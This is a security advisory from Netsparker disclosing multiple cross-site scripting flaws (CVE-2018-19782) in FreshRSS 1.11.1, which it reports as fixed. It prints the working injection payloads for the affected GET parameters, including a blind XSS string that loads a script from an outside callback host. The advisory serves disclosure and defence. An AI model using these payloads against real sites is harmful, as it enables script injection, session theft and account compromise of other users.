FreshRSS 1.11.1 Cross Site Scripting

`Multiple Cross-Site Scripting Vulnerabilities in FreshRSS 1.11.1  
  
Information  
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Advisory by Netsparker  
Name: Multiple Cross-Site Scripting Vulnerabilities in FreshRSS  
Affected Software: FreshRSS  
Affected Versions: 1.11.1  
Homepage: https://freshrss.org/  
Vulnerability: Cross-site Scripting  
Severity: Medium  
Status: Fixed  
CVE-ID : CVE-2018-19782  
CVSS Score (3.0): 6.3  
Netsparker Advisory Reference: NS-18-024  
  
Technical Details  
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Blind Cross-site Scripting  
  
URL : http://ns.app:8085/i/?c=auth&a='"--></style></scRipt><scRipt src="//4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho.r87.me"></scRipt> Parameter Name : a  
Parameter Type : GET  
Attack Pattern : %27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2f4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e  
  
Stored Cross-site Scripting  
  
URL : http://ns.app:8085/i/?c=error   
Injection URL : http://ns.app:8085/i/?c=error   
Parameter Name : a  
Parameter Type : GET  
Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00139F)</scRipt>   
  
Cross-site Scripting  
  
URL : http://ns.app:8085/i/?c=error   
Proof URL : http://ns.app:8085/i/?c=error   
Injection URL : http://ns.app:8085/i/?c=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001DCF)%3e&a=actualize&id=-1   
Parameter Name : c  
Parameter Type : GET  
Attack Pattern : %3ciMg+src%3dN+onerror%3dnetsparker(0x001DCF)%3e   
  
URL : http://ns.app:8085/i/?c=error   
Proof URL : http://ns.app:8085/i/?c=error   
Injection URL : http://ns.app:8085/i/?a=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001F6B)%3e&get=s&order=ASC   
Parameter Name : a  
Parameter Type : GET  
Attack Pattern : %3ciMg+src%3dN+onerror%3dnetsparker(0x001F6B)%3e   
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Advisory Timeline  
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12th November 2018- First Contact  
28th November 2018 - Vendor Fixed  
3rd December 2018 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.  
  
About Netsparker  
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.  
  
  
  
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